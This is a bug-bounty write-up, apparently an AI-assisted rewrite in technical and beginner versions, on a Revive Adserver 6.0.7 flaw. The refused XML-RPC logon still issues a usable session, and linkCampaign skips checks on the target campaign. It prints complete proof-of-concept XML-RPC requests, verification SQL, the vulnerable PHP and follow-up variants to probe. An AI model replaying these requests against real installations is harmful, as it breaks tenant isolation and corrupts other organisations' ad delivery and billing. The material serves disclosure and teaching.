Skip to content
Access control Write-up Intermediate

Chaining a Session Leak and Broken Access Control in Revive Adserver 6.0.7 Program Hackerone

The XML-RPC logon endpoint returned a valid API session cookie even when it rejected a non-admin user, and the zone-linking methods only checked the caller's own zone rather than the target campaign or banner. A low-privileged user could therefore link their zone to another agency's campaign, crossing tenant boundaries.

kenjisubagja Follow

Published on medium.com

Bug Bounty Writeup

Kenjisubagja, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Revive Adserver is an open-source ad server that manages advertisers, campaigns, banners, publishers, zones and the associations between them. Zones belong to publisher (affiliate) accounts, campaigns belong to advertiser (client) accounts, and linking a campaign or banner to a zone is what makes ads actually serve. In a multi-tenant installation these objects are separated by agency, and the administrative UI enforces that separation: an operator working inside one agency cannot wire their zone to another agency's campaign.

Revive also exposes an XML-RPC API so that tooling can perform the same operations programmatically. The API has its own logon service, its own session handling and its own service classes, including ZoneService with the methods linkCampaign and linkBanner. The write-up examines the official release of Revive Adserver 6.0.7 and shows that the XML-RPC zone-linking path skips the same-realm rules the administrative UI enforces, and that the logon service issues a valid session even when it refuses the login.

Setup

The researcher worked against a local test instance with two separate agencies:

  • Agency A (attacker): a non-admin trafficker user who owns zoneId 13 and holds the OA_PERM_ZONE_LINK permission.
  • Agency B (victim): an advertiser that owns campaignId 13.

The only precondition on the attacker side is a basic non-admin trafficker or publisher account with zone-linking rights. The report notes explicitly that this is not an unauthenticated exploit, but that the barrier to entry is extremely low.

The endpoints involved are:

  • POST /www/api/v1/xmlrpc/LogonXmlRpcService.php
  • POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php
  • POST /www/api/v2/xmlrpc/index.php

And the affected methods are:

  • ZoneService.linkCampaign(sessionId, zoneId, campaignId)
  • ZoneService.linkBanner(sessionId, zoneId, bannerId)

Finding it

The starting observation was that the XML-RPC API appears to be correctly locked down. When a low-privileged trafficker or publisher tries to log in, the API returns the error User must be OA installation admin. That looks like a clean denial.

What the researcher noticed is that the denial is only in the XML-RPC payload. Underneath it, the HTTP response still carries a Set-Cookie header with a valid sessionID, and that cookie represents an API-context session belonging to the very non-admin user who was just refused. The login was refused, but a valid API-context session was created and stored anyway.

With that leaked session in hand, the second half of the chain becomes reachable: ZoneService.linkCampaign() and ZoneService.linkBanner(). These methods do check permissions on the attacker's side, that is, on the zone and its publisher account, but they do not verify that the caller has any access to the target campaign or banner. They also skip the same agency/realm rules that the administrative UI enforces. The combination of a session that should not exist and a link operation that only validates one end of the relationship is what allows account boundaries to be crossed.

From the original on medium.com

Exploitation

Step 1: Trigger the session leak

The first request logs in to the XML-RPC service with the non-admin credentials.

HTTP
POST /www/api/v1/xmlrpc/LogonXmlRpcService.php HTTP/1.1Host: [redacted]:8088Content-Type: text/xml
XML
<methodCall>  <methodName>logon</methodName>  <params>    <param><value><string>http-poc-trafficker</string></value></param>    <param><value><string>HttpPocPassword123!</string></value></param>  </params></methodCall>

The body calls the logon method with the trafficker's username and password. The XML-RPC response body returns the expected fault, User must be OA installation admin, so from the payload alone the attempt looks rejected. The HTTP headers say otherwise:

HTTP
HTTP/1.1 200 OKSet-Cookie: sessionID=[redacted]; path=/www/api/v1/xmlrpc; domain=[redacted]; HttpOnly; SameSite=strictContent-Type: text/xml; charset=UTF-8

The Set-Cookie header delivers a sessionID scoped to the XML-RPC path. Checking the backend database confirms that the session was stored with API context:

Text
sessionid                         | user_id | has_context | [redacted]  | 14      | 1           | 1

The row shows the session tied to user_id 14, with has_context and has_api both set to 1. The session is real, it belongs to the non-admin user, and it is flagged for API use.

Step 2: Exploit broken access control

With the leaked sessionID, the next request links the attacker's zone (13) to the victim's campaign (13).

HTTP
POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php HTTP/1.1Host: [redacted]:8088Content-Type: text/xml
XML
<methodCall>  <methodName>linkCampaign</methodName>  <params>    <param><value><string>[redacted]</string></value></param>    <param><value><int>13</int></value></param>    <param><value><int>13</int></value></param>  </params></methodCall>

The first parameter is the leaked session ID, the second is the attacker's zone, and the third is the victim's campaign. The zone-side permission check passes because the attacker legitimately owns the zone and holds OA_PERM_ZONE_LINK. Nothing on the campaign side is checked, so the association is created.

Step 3: Confirm the unauthorised link

The result is verified directly in the database with a join across the association table, zones, affiliates, campaigns and clients:

SQL
SELECT pza.placement_zone_assoc_id,        pza.zone_id,       aff.agencyid AS zone_agency,       pza.placement_id,       cl.agencyid AS campaign_agencyFROM rv_placement_zone_assoc pzaJOIN rv_zones z ON z.zoneid = pza.zone_idJOIN rv_affiliates aff ON aff.affiliateid = z.affiliateidJOIN rv_campaigns c ON c.campaignid = pza.placement_idJOIN rv_clients cl ON cl.clientid = c.clientidWHERE pza.zone_id = 13 AND pza.placement_id = 13;
Text
placement_zone_assoc_id | zone_id | zone_agency | placement_id | campaign_agency8                       | 13      | 26          | 13           | 27

The row shows the zone belonging to agency 26 and the campaign belonging to agency 27. Two entirely different organisations are now associated, and the association was injected by a user who has no rights in the second one.

Root cause

The chain is made of two distinct logic flaws working together.

1. The session leak. The XML-RPC login flow creates and stores an API-context session in the database before the admin-only check evaluates to false. The XML-RPC response payload denies the login, but the HTTP response still exposes the created session through Set-Cookie: sessionID=.... Because the session is genuine and flagged for API use, it passes BaseServiceImpl::verifySession() without difficulty. The session was created and stored before the admin-only check evaluated to false, so the refused login still left a usable API session.

2. Missing target validation. When ZoneService.linkCampaign() or ZoneService.linkBanner() forward the request into OA_Dll_Zone, the DLL checks whether the caller has access to the zone's publisher account. There is no corresponding check for the target campaignId or bannerId. The vulnerable pattern in the source looks like this:

Text
public function linkCampaign($zoneId, $campaignId){    if ($this->checkIdExistence('zones', $zoneId)) {        $doZones = OA_Dal::staticGetDO('zones', $zoneId);                        if (!$this->checkPermissions(null, 'affiliates', $doZones->affiliateid, OA_PERM_ZONE_LINK)) {            return false;        }                        if ($this->checkIdExistence('campaigns', $campaignId)) {            $result = Admin_DA::addPlacementZone([                'zone_id' => $zoneId,                'placement_id' => $campaignId            ]);        }    }}

Existence is not authorisation: the campaign is never checked against the caller's realm. The administrative UI does enforce same-realm validation for these operations, but the XML-RPC path simply does not implement it, so the defence that exists in one interface is absent in the other.

Impact

A low-privileged user who holds zone-linking permissions can forge campaign-to-zone or banner-to-zone associations across strict account boundaries. For a platform that manages ad revenue, the report lists the consequences as:

  • Ad delivery hijacking: redirecting or manipulating ad delivery relationships.
  • Data corruption: destroying campaign integrity, reporting metrics and attribution.
  • Billing chaos: breaking account separation, causing advertisers to be billed for unauthorised placements.
  • Agency isolation failure: completely breaking the multi-tenant isolation model of the application.

The report notes this is not an unauthenticated exploit, but the barrier to entry is extremely low: only a basic non-admin trafficker or publisher account is needed.

Fix

The report proposes three changes for the maintainers:

  1. Stop the leak. Do not send or persist an API-context session for non-admin XML-RPC logon attempts. Explicitly clear the sessionID cookie when LogonService.logon() fails the admin validation check.
  2. Enforce target validation. In OA_Dll_Zone::linkCampaign() and OA_Dll_Zone::linkBanner(), verify the caller's access to the target campaign or banner before creating the database association.
  3. Cross-realm checks. Reuse the existing administrative UI same-realm validation logic for all XML-RPC zone-linking operations, and apply the same checks to the unlink methods to prevent cross-realm destructive actions.

Variants to test

  • Other XML-RPC logon paths. Send non-admin credentials to every logon entry point, including POST /www/api/v2/xmlrpc/index.php, and inspect the raw HTTP response rather than the XML body. A positive result is a Set-Cookie carrying a sessionID alongside a fault payload.
  • Other service methods that take a target object ID. Look for methods shaped like link*, associate* or assign* where one side is validated and the other is only checked for existence. A positive result is an association row created between objects in two different agencies.
  • Unlink and destructive counterparts. Try the unlink variants of the same methods with a leaked session and a foreign target ID. A positive result is a removed association the caller had no right to touch.
  • Session reuse after refusal. Capture the sessionID from a failed logon and replay it against unrelated services. A positive result is any call that succeeds under verifySession() despite the logon having been denied.
  • UI versus API parity. For each operation the admin UI performs with a realm check, repeat it through XML-RPC with a low-privileged session. A positive result is the API accepting what the UI refuses.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

Revive Adserver is a piece of software that websites and ad networks use to run online advertising. Think of it as the switchboard behind the adverts you see on a web page: it decides which advert goes where, keeps track of who is paying for what, and records how many times each advert was shown. It is open source, which means anyone can download the code and run their own copy.

Inside Revive there are a few kinds of objects you need to know about before the story makes sense:

  • Advertisers (also called clients) are the people who want their adverts shown. Each advertiser owns one or more campaigns, and a campaign owns one or more banners (the actual images or snippets that appear on a page).
  • Publishers (also called affiliates) are the people who own space on a website where adverts can appear. That space is divided into zones: a zone is a slot on a page, such as "the banner at the top of the homepage".
  • A link (or association) is the record that connects a campaign or banner to a zone. Linking a campaign or a banner to a zone is the operation that makes advertising actually happen.

A single Revive installation can host many different companies at once. Each company lives in its own agency, and the software is supposed to keep them apart: a person working inside one agency must not be able to wire their zone to another agency's campaign. This separation is what security people call multi-tenancy, and the rule that keeps it intact is called a realm check (a realm is simply a boundary, like a locked floor in an office building).

Revive also offers an API. An API is a way for one computer program to talk to another without a human clicking buttons: instead of filling in a web form, a tool sends a structured message and gets a structured answer back. Revive's API uses a format called XML-RPC, which is just a way of writing a request as text wrapped in tags, a bit like a very formal letter. The API has its own login service, its own session handling and its own service classes, including ZoneService with the methods linkCampaign and linkBanner.

The write-up looks at the official release of Revive Adserver 6.0.7 and shows two problems that, added together, let a low-privileged user cross the agency boundary:

  1. The API's login service refuses a non-admin user, but still hands out a working session (a temporary pass that proves who you are) in the HTTP response.
  2. The linking operations check that you are allowed to touch your zone, but never check that you are allowed to touch the other side's campaign or banner.

Together they let a normal user with limited rights attach another company's campaign to their own zone.

The pieces you need to understand first

Before walking through the steps, here are the concepts that come up again and again. Each one is explained from scratch.

What a cookie and a session are

When you log in to a website, the server needs a way to remember you on the next page load. Browsers and servers solve this with cookies: small pieces of text that the server sends to your browser (in a response header called Set-Cookie) and that your browser sends back on every following request. A session cookie usually contains a long random string called a session ID. The server keeps a table that maps that string to a real user, so when the cookie comes back, the server knows who is talking.

A useful comparison: a session ID is like the wristband you get at a festival. The organisers check your ticket once at the gate, give you a wristband, and after that they only look at the wristband. If someone else gets hold of your wristband, they can walk around as you. That is why leaking a session ID is serious: it is effectively a password that works until it expires.

What an API and XML-RPC are

An API (Application Programming Interface) is a contract that lets one program ask another program to do something. When you use a website, your browser is the client and the website is the server. When a tool uses an API, the tool is the client and the same server answers, but the messages are structured data rather than web pages.

XML-RPC is one such structure. A request is a piece of XML (text with tags) that names a method (the operation you want) and lists its parameters. The server replies with either a result or a fault (an error message). It is old-fashioned but simple, and Revive uses it so that advertising tools can automate tasks.

What a vulnerability class is

Security people group similar mistakes under names called vulnerability classes. Two appear here:

  • Broken Access Control means the software lets someone do something they should not be allowed to do, usually because a permission check is missing or done in the wrong place. The everyday comparison is a hotel where the front desk checks your key card at the lobby door but not at the individual room doors.
  • IDOR (Insecure Direct Object Reference) is a specific kind of broken access control where the software accepts an ID number from the user (like campaignId 13) and acts on it without checking whether that user is allowed to touch the object with that ID. It is like a warehouse that will hand over any box if you know its number.

What the product and feature do

Revive Adserver is the software that decides which advert appears in which slot. The feature at the centre of this report is zone linking: the operation that connects a campaign (or a banner) to a zone so that adverts can be served there. In the normal web interface, an operator clicks through menus to create that link, and the interface quietly enforces the agency boundary. The API exposes the same operation, and the report shows that the API does not enforce the same boundary.

The setup used in the test

The researcher built a local copy of Revive with two separate agencies:

  • Agency A (the attacker): a non-admin trafficker user. A trafficker is a role that manages day-to-day ad operations but is not a system administrator. This user owns zoneId 13 and holds a permission called OA_PERM_ZONE_LINK, which is the right to link zones.
  • Agency B (the victim): an advertiser that owns campaignId 13.

The only thing the attacker needs to start is a basic non-admin trafficker or publisher account. The report is explicit that this is not an unauthenticated exploit (you cannot do it without logging in at all), but the barrier to entry is extremely low: any ordinary operator account is enough.

The endpoints involved are:

  • POST /www/api/v1/xmlrpc/LogonXmlRpcService.php
  • POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php
  • POST /www/api/v2/xmlrpc/index.php

An endpoint is simply a URL that accepts a particular kind of request. POST is the HTTP method used when you are sending data to the server (as opposed to GET, which is used when you are just asking for a page).

The affected methods are:

  • ZoneService.linkCampaign(sessionId, zoneId, campaignId)
  • ZoneService.linkBanner(sessionId, zoneId, bannerId)

A method here is a named operation inside the API. The names in brackets are its parameters: the session ID (who you are), the zone ID (your slot), and the campaign or banner ID (the thing you want to link).

Finding it

At first glance the API looks properly locked down. When a low-privileged trafficker or publisher tries to log in, the API returns the error User must be OA installation admin. That reads like a clean refusal: the door is shut.

What the researcher noticed is that the refusal only appears in the XML-RPC payload (the body of the response, the part a normal tool would read). Underneath it, the HTTP headers (the metadata that travels with every response) still carry a Set-Cookie header with a valid sessionID. That cookie belongs to the very non-admin user who was just refused. In other words, the login was refused but a valid API session was created and stored anyway.

With that leaked session in hand, the second half of the chain becomes reachable: ZoneService.linkCampaign() and ZoneService.linkBanner(). These methods do check permissions on the attacker's side, meaning they check that the caller may link zones on the zone's publisher account. But they do not check that the caller has any access to the target campaign or banner. They also skip the same agency/realm rules that the normal web interface enforces. A session that should not exist, plus a link operation that only validates one end of the relationship, is what lets account boundaries be crossed.

From the original on medium.com

Exploitation, step by step

Step 1: Trigger the session leak

The first request logs in to the XML-RPC service using the non-admin credentials. The goal of this step is not to succeed at logging in; it is to see what the server sends back even when it says no.

HTTP
POST /www/api/v1/xmlrpc/LogonXmlRpcService.php HTTP/1.1Host: [redacted]:8088Content-Type: text/xml

Line by line:

  • POST /www/api/v1/xmlrpc/LogonXmlRpcService.php HTTP/1.1 says "I am sending data to this address, using version 1.1 of the HTTP protocol". The path points at the login service of the API.
  • Host: [redacted]:8088 says which server is being addressed. [redacted] is the local machine (the test instance running on the researcher's own computer) and 8088 is the port, which is like an apartment number inside the building.
  • Content-Type: text/xml tells the server that the body of the request is XML, so it knows how to read it.

The body of the request is the XML-RPC message itself:

XML
<methodCall>  <methodName>logon</methodName>  <params>    <param><value><string>http-poc-trafficker</string></value></param>    <param><value><string>HttpPocPassword123!</string></value></param>  </params></methodCall>

Line by line:

  • <methodCall> opens the message. Everything inside is one call to the server.
  • <methodName>logon</methodName> names the operation being called: logon, the API's login method.
  • <params> opens the list of arguments.
  • The first <param> contains a <string> with the username http-poc-trafficker.
  • The second <param> contains a <string> with the password HttpPocPassword123!.
  • The closing tags end the parameters and the call.

The XML-RPC response body returns the expected fault, User must be OA installation admin, so from the payload alone the attempt looks rejected. But the HTTP headers tell a different story:

HTTP
HTTP/1.1 200 OKSet-Cookie: sessionID=[redacted]; path=/www/api/v1/xmlrpc; domain=[redacted]; HttpOnly; SameSite=strictContent-Type: text/xml; charset=UTF-8

Line by line:

  • HTTP/1.1 200 OK is the status line. 200 means "the request was processed successfully" at the HTTP level, even though the XML-RPC payload inside says the login was refused. This mismatch is the heart of the bug.
  • Set-Cookie: sessionID=[redacted]; ... is the server handing out a cookie. The name is sessionID and the value is a long random string. This is the leaked credential.
  • path=/www/api/v1/xmlrpc limits where the browser will send the cookie back: only to URLs under that path. It does not make the cookie harmless; it just scopes it.
  • domain=[redacted] says which host the cookie belongs to.
  • HttpOnly means JavaScript running in a page cannot read the cookie. That protects against some attacks but does nothing here, because the attacker is reading the raw HTTP response directly.
  • SameSite=strict is a browser rule about when the cookie is sent on cross-site requests. Again, it does not stop an attacker who is talking to the API directly.
  • Content-Type: text/xml; charset=UTF-8 says the body is XML encoded in UTF-8.

Checking the backend database confirms that the session was stored with API context:

Text
sessionid                         | user_id | has_context | [redacted]  | 14      | 1           | 1

Line by line:

  • sessionid is the column holding the session ID, and the value matches the cookie exactly.
  • user_id is 14, meaning the session is tied to a real user account (the non-admin trafficker).
  • has_context is 1, meaning the session has a context set (it is not a blank session).
  • has_api is 1, meaning the session is flagged for API use, which is exactly what the next step needs.

So the session is real, it belongs to the non-admin user, and it is marked for API use. The login was refused, but the credential was issued anyway.

Step 2: Exploit broken access control

With the leaked sessionID, the next request links the attacker's zone (13) to the victim's campaign (13). The reason for this step is to test whether the API will accept a link between two objects that belong to different agencies, using only the leaked session.

HTTP
POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php HTTP/1.1Host: [redacted]:8088Content-Type: text/xml

Line by line:

  • POST /www/api/v1/xmlrpc/ZoneXmlRpcService.php HTTP/1.1 sends data to the zone service, the part of the API that handles zone operations.
  • Host: [redacted]:8088 is the same local test server as before.
  • Content-Type: text/xml again says the body is XML.

The body calls the linking method:

XML
<methodCall>  <methodName>linkCampaign</methodName>  <params>    <param><value><string>[redacted]</string></value></param>    <param><value><int>13</int></value></param>    <param><value><int>13</int></value></param>  </params></methodCall>

Line by line:

  • <methodName>linkCampaign</methodName> names the operation: link a campaign to a zone.
  • The first <param> is a <string> holding the leaked session ID. This is how the server knows who is calling.
  • The second <param> is an <int> (integer) with the value 13: the attacker's own zone.
  • The third <param> is an <int> with the value 13: the victim's campaign.

The zone-side permission check passes because the attacker legitimately owns the zone and holds OA_PERM_ZONE_LINK. Nothing on the campaign side is checked, so the association is created.

Step 3: Confirm the unauthorised link

The result is verified directly in the database with a query that joins the association table to zones, affiliates, campaigns and clients. The reason for this step is to prove that the link really was written, and to show which agency each side belongs to.

SQL
SELECT pza.placement_zone_assoc_id,        pza.zone_id,       aff.agencyid AS zone_agency,       pza.placement_id,       cl.agencyid AS campaign_agencyFROM rv_placement_zone_assoc pzaJOIN rv_zones z ON z.zoneid = pza.zone_idJOIN rv_affiliates aff ON aff.affiliateid = z.affiliateidJOIN rv_campaigns c ON c.campaignid = pza.placement_idJOIN rv_clients cl ON cl.clientid = c.clientidWHERE pza.zone_id = 13 AND pza.placement_id = 13;

Line by line:

  • SELECT ... lists the columns to return: the association's own ID, the zone ID, the zone's agency, the campaign (placement) ID, and the campaign's agency.
  • FROM rv_placement_zone_assoc pza starts from the table that stores zone-to-campaign links, giving it the short alias pza.
  • JOIN rv_zones z ON z.zoneid = pza.zone_id attaches the zone row for each link.
  • JOIN rv_affiliates aff ON aff.affiliateid = z.affiliateid attaches the publisher (affiliate) row that owns the zone, so we can read its agency.
  • JOIN rv_campaigns c ON c.campaignid = pza.placement_id attaches the campaign row for each link.
  • JOIN rv_clients cl ON cl.clientid = c.clientid attaches the advertiser (client) row that owns the campaign, so we can read its agency.
  • WHERE pza.zone_id = 13 AND pza.placement_id = 13 narrows the result to the specific link we just created.

The result:

Text
placement_zone_assoc_id | zone_id | zone_agency | placement_id | campaign_agency8                       | 13      | 26          | 13           | 27

Line by line:

  • placement_zone_assoc_id is 8: the new association row exists.
  • zone_id is 13: the attacker's zone.
  • zone_agency is 26: the agency that owns the zone.
  • placement_id is 13: the victim's campaign.
  • campaign_agency is 27: the agency that owns the campaign.

The row shows the zone belonging to agency 26 and the campaign belonging to agency 27. Two entirely different organisations are now associated, and the association was injected by a user who has no rights in the second one.

Root cause

The chain is made of two distinct logic flaws working together.

1. The session leak. The XML-RPC login flow creates and stores an API-context session in the database before the admin-only check evaluates to false. The XML-RPC response payload denies the login, but the HTTP response still exposes the created session through Set-Cookie: sessionID=.... Because the session is genuine and flagged for API use, it passes BaseServiceImpl::verifySession() without difficulty. The session was created and stored before the admin-only check evaluated to false, so the refused login still left a usable API session. A useful comparison is a nightclub where the bouncer says "you are not on the list" but still hands you a stamp on the way out.

2. Missing target validation. When ZoneService.linkCampaign() or ZoneService.linkBanner() forward the request into OA_Dll_Zone, the DLL checks whether the caller has access to the zone's publisher account. There is no corresponding check for the target campaignId or bannerId. The vulnerable pattern in the source looks like this:

Text
public function linkCampaign($zoneId, $campaignId){    if ($this->checkIdExistence('zones', $zoneId)) {        $doZones = OA_Dal::staticGetDO('zones', $zoneId);                        if (!$this->checkPermissions(null, 'affiliates', $doZones->affiliateid, OA_PERM_ZONE_LINK)) {            return false;        }                        if ($this->checkIdExistence('campaigns', $campaignId)) {            $result = Admin_DA::addPlacementZone([                'zone_id' => $zoneId,                'placement_id' => $campaignId            ]);        }    }}

Line by line:

  • public function linkCampaign($zoneId, $campaignId) declares the method and its two inputs: the zone and the campaign.
  • if ($this->checkIdExistence('zones', $zoneId)) asks: does a zone with this ID exist? If not, nothing happens.
  • $doZones = OA_Dal::staticGetDO('zones', $zoneId); loads the zone record from the database.
  • if (!$this->checkPermissions(null, 'affiliates', $doZones->affiliateid, OA_PERM_ZONE_LINK)) asks: does the caller have the zone-linking permission on the affiliate that owns this zone? If not, it returns false and stops. This is the check that protects the attacker's own side.
  • if ($this->checkIdExistence('campaigns', $campaignId)) asks: does a campaign with this ID exist? That is all it asks. It does not ask whether the caller is allowed to touch that campaign.
  • $result = Admin_DA::addPlacementZone([...]) writes the association into the database, with zone_id and placement_id (the campaign).

Existence is not authorisation: the campaign is never checked against the caller's realm. The normal web interface does enforce same-realm validation for these operations, but the XML-RPC path simply does not implement it, so the defence that exists in one interface is absent in the other.

Impact

A low-privileged user who holds zone-linking permissions can forge campaign-to-zone or banner-to-zone associations across strict account boundaries. For a platform that manages ad revenue, the report lists the consequences as:

  • Ad delivery hijacking: redirecting or manipulating ad delivery relationships. In plain terms, the attacker can change which adverts appear where, which is a way to steer traffic and money.
  • Data corruption: destroying campaign integrity, reporting metrics and attribution. The numbers advertisers rely on stop meaning what they should.
  • Billing chaos: breaking account separation, causing advertisers to be billed for unauthorised placements. An advertiser can end up paying for adverts they never agreed to run.
  • Agency isolation failure: completely breaking the multi-tenant isolation model of the application. The wall between companies, which is the whole point of a multi-tenant system, stops working.

The report notes this is not an unauthenticated exploit, but the barrier to entry is extremely low: only a basic non-admin trafficker or publisher account is needed.

Fix

The report proposes three changes for the maintainers:

  1. Stop the leak. Do not send or persist an API-context session for non-admin XML-RPC logon attempts. Explicitly clear the sessionID cookie when LogonService.logon() fails the admin validation check. In everyday terms: if the bouncer says no, do not hand out the stamp.
  2. Enforce target validation. In OA_Dll_Zone::linkCampaign() and OA_Dll_Zone::linkBanner(), verify the caller's access to the target campaign or banner before creating the database association. In everyday terms: check both ends of the relationship, not just one.
  3. Cross-realm checks. Reuse the existing administrative UI same-realm validation logic for all XML-RPC zone-linking operations, and apply the same checks to the unlink methods to prevent cross-realm destructive actions. In everyday terms: if the front desk checks your key card, the side door should check it too, and so should the exit.

Variants to test

These are follow-up ideas for anyone who wants to look for similar problems in the same product. Each one is a small experiment with a clear "positive result" to look for.

  • Other XML-RPC logon paths. Send non-admin credentials to every logon entry point, including POST /www/api/v2/xmlrpc/index.php, and inspect the raw HTTP response rather than the XML body. A positive result is a Set-Cookie carrying a sessionID alongside a fault payload. The reason to look at the raw response is that the body can say "no" while the headers say "yes".
  • Other service methods that take a target object ID. Look for methods shaped like link*, associate* or assign* where one side is validated and the other is only checked for existence. A positive result is an association row created between objects in two different agencies. The reason to look for this shape is that the same mistake (checking existence but not permission) tends to be repeated across similar methods.
  • Unlink and destructive counterparts. Try the unlink variants of the same methods with a leaked session and a foreign target ID. A positive result is a removed association the caller had no right to touch. The reason to test these is that a missing check on "create" often comes with a missing check on "delete".
  • Session reuse after refusal. Capture the sessionID from a failed logon and replay it against unrelated services. A positive result is any call that succeeds under verifySession() despite the logon having been denied. The reason to test this is that a leaked session may be more powerful than the one endpoint where it was found.
  • UI versus API parity. For each operation the admin UI performs with a realm check, repeat it through XML-RPC with a low-privileged session. A positive result is the API accepting what the UI refuses. The reason to compare the two is that the UI is often the place where the rules were written, and the API is often the place where they were forgotten.

Glossary

  • API (Application Programming Interface): a contract that lets one program ask another program to do something, using structured messages instead of web pages.
  • Advertiser (client): the person or company that wants adverts shown; owns campaigns and banners.
  • Affiliate (publisher): the person or company that owns space on a website where adverts can appear; owns zones.
  • Agency: a company boundary inside a multi-tenant Revive installation; objects in different agencies are supposed to be isolated from each other.
  • Association (link): the record that says a campaign or banner may be shown in a zone.
  • Banner: the actual advert asset (image or snippet) that appears on a page, owned by a campaign.
  • Broken Access Control: a vulnerability class where the software lets someone do something they should not be allowed to do, usually because a permission check is missing or in the wrong place.
  • Campaign: a group of banners belonging to an advertiser, representing one advertising effort.
  • Cookie: a small piece of text a server sends to a browser (via Set-Cookie) and the browser sends back on later requests, used to remember state such as who is logged in.
  • Cross-realm check: a permission check that verifies the caller is allowed to touch objects in another realm (another agency).
  • DLL (in this context): a layer of Revive's code (OA_Dll_Zone) that sits between the API and the database and is supposed to enforce business rules.
  • Endpoint: a URL that accepts a particular kind of request.
  • Fault (XML-RPC): an error message returned inside an XML-RPC response when the requested operation fails.
  • Header (HTTP): metadata that travels with every HTTP request and response, such as Set-Cookie or Content-Type.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HttpOnly: a cookie attribute that stops JavaScript in a page from reading the cookie; it does not stop someone reading the raw HTTP response.
  • IDOR (Insecure Direct Object Reference): a specific kind of broken access control where the software accepts an ID from the user and acts on it without checking whether the user is allowed to touch that object.
  • Method (API): a named operation inside an API, such as logon or linkCampaign.
  • Multi-tenancy: a design where one installation hosts many separate companies, with strict isolation between them.
  • OA_PERM_ZONE_LINK: the permission that allows a user to link zones.
  • Payload: the body of a request or response, as opposed to its headers.
  • Permission: a right granted to a user account, such as the right to link zones.
  • POST: the HTTP method used when sending data to a server.
  • Realm: a boundary inside the application, such as an agency; a realm check enforces that boundary.
  • Session: a temporary state on the server that remembers who you are, usually identified by a session ID stored in a cookie.
  • Session ID: the long random string inside a session cookie that the server uses to look up the session.
  • Set-Cookie: the HTTP response header a server uses to hand a cookie to the browser.
  • SameSite: a cookie attribute that controls when the browser sends the cookie on cross-site requests.
  • Trafficker: a non-admin role in Revive that manages day-to-day ad operations.
  • Unauthenticated: done without logging in at all; the opposite of authenticated.
  • Vulnerability class: a named group of similar security mistakes, such as broken access control or IDOR.
  • XML: a text format that uses tags to structure data.
  • XML-RPC: a way of calling remote operations by sending XML messages that name a method and its parameters.
  • Zone: a slot on a publisher's page where adverts can appear.

More by kenjisubagja

View all

8 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.